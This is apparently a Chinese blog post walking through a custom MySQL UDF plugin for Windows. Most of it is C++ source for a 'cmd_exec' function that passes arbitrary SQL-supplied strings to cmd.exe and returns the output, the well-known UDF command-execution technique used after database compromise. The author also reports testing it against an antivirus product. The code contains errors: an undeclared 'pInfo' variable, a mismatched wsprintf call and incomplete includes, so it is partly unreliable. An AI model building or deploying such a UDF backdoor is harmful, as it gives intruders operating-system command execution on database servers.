mysql插件自建表_Mysql udf插件自定义实现

UDF的调用过程:

如果需要内存,则必须将其放入 xxx_init() 并释放 xxx_deinit()。

那么也就是在创建udf的dll的时候要实现的是XXX_INIT 和 XXX_DEINIT 这两个函数,这里必须要实现的是XXX_INIT,因为需要该函数为我们分配内存空间

450c19f2f09a2cdfcecd0011c4f4da78.png

实现模板:

my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);

void xxx_deinit(UDF_INIT *initid);

由于用到的udf调用结果都是字符串,那么这里返回结果就声明为char*了

0b7735555e5c54ce0931e7921bdfa404.png

用到的模板则是如下:

char *xxx(UDF_INIT *initid, UDF_ARGS *args,

char *result, unsigned long *length,

char *is_null, char *error);

其中UDF_ARGS的结构体如下:

typedef struct st_udf_args

{

unsigned int arg_count;/* Number of arguments */

enum Item_result *arg_type;/* Pointer to item_results */

char **args;/* Pointer to argument */

unsigned long *lengths;/* Length of string arguments */

char *maybe_null;/* Set to 1 for all maybe_null args */

char **attributes; /* Pointer to attribute name */

unsigned long *attribute_lengths; /* Length of attribute arguments */

void *extension;

} UDF_ARGS;

UDF_ARGS结构体中类型为char**的属性attributes为如下,这个可以用来拿到获取参数的值!

8be90f99b318d1ea59763d471d46224f.png

调用UDF的实现模板就是如下:

//初始化

my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);

//自定义函数

char *xxx(UDF_INIT *initid, UDF_ARGS *args,

char *result, unsigned long *length,

char *is_null, char *error);

//反初始化

void xxx_deinit(UDF_INIT *initid);

代码实现:

原作者的代码实现中只进行了一次的数据获取和乱码,这里改成多次获取,修复下乱码,其他的没啥问题!

#include "stdafx.h"

#include "windows.h"

#include

#include "./include/mysql.h"

extern "C" __declspec(dllexport) my_bool cmd_exec_init()

{

return 0;

}

extern "C" __declspec(dllexport) char* cmd_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error)

{

HANDLE hReadPipe = NULL;

HANDLE hWritePipe = NULL;

SECURITY_ATTRIBUTES sa;

sa.nLength = sizeof(SECURITY_ATTRIBUTES); // 结构体的大小,可用SIZEOF取得

sa.lpSecurityDescriptor = NULL;//安全描述符

sa.bInheritHandle = TRUE;; // 安全描述的对象能否被新创建??的进程继承

// Create anoymous pipe:

if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0) == NULL)

{

return "Create anoymous pipe failed

";

}

// Create Child Process:

PROCESS_INFORMATION pi = { 0 };

STARTUPINFO si = { 0 };

si.cb = sizeof(STARTUPINFO);

si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

si.hStdOutput = hWritePipe;

si.hStdError = hWritePipe;

// get

TCHAR cmd_buf[4096];

memset(cmd_buf, 0, 4096);

wsprintf(cmd_buf,TEXT("/c %s"), args->attributes[0], args->attribute_lengths[0]);

if (!CreateProcess(TEXT("c:\windows\system32\cmd.exe"), cmd_buf, NULL, NULL, TRUE, 0, NULL, NULL, &si,&pi))

{

CloseHandle(hWritePipe);

CloseHandle(hReadPipe);

return "Create child process failed!

";

}

CloseHandle(hWritePipe);

// command buffer

TCHAR szBuffer[4096];

TCHAR tempBuffer[1024];

memset(szBuffer, 0, 4096);

memset(tempBuffer, 0, 1024);

DWORD dwBytesRead = 0;

while (PeekNamedPipe(hReadPipe, tempBuffer, 1024, &dwBytesRead, NULL, NULL))

{

if (dwBytesRead)

{

if(ReadFile(hReadPipe,tempBuffer,dwBytesRead,&dwBytesRead,NULL) == NULL){

break;

}

strcat(szBuffer,tempBuffer);

}

}

WaitForSingleObject(pInfo.hProcess, INFINITE);

CloseHandle(hReadPipe);

return szBuffer;

}

BOOL APIENTRY DllMain(HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

可以看到导出函数为两个:

ae53e6094d036ad6689f1cea791614ff.png

命令执行效果:

1ff5bb3fb98591adbd57aa188695ef4c.png

火绒测试的效果:

e76fbac3ffa97fcf8f57d07eb46f1872.png

总结:

1、关于命令执行,定义的时候好像一定需要定义为cmd_exec名称

2、通过安全描述符的继承属性为TRUE来实现子进程继承父进程的句柄表获取匿名管道的句柄,从而来实现父子进程的数据通信

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值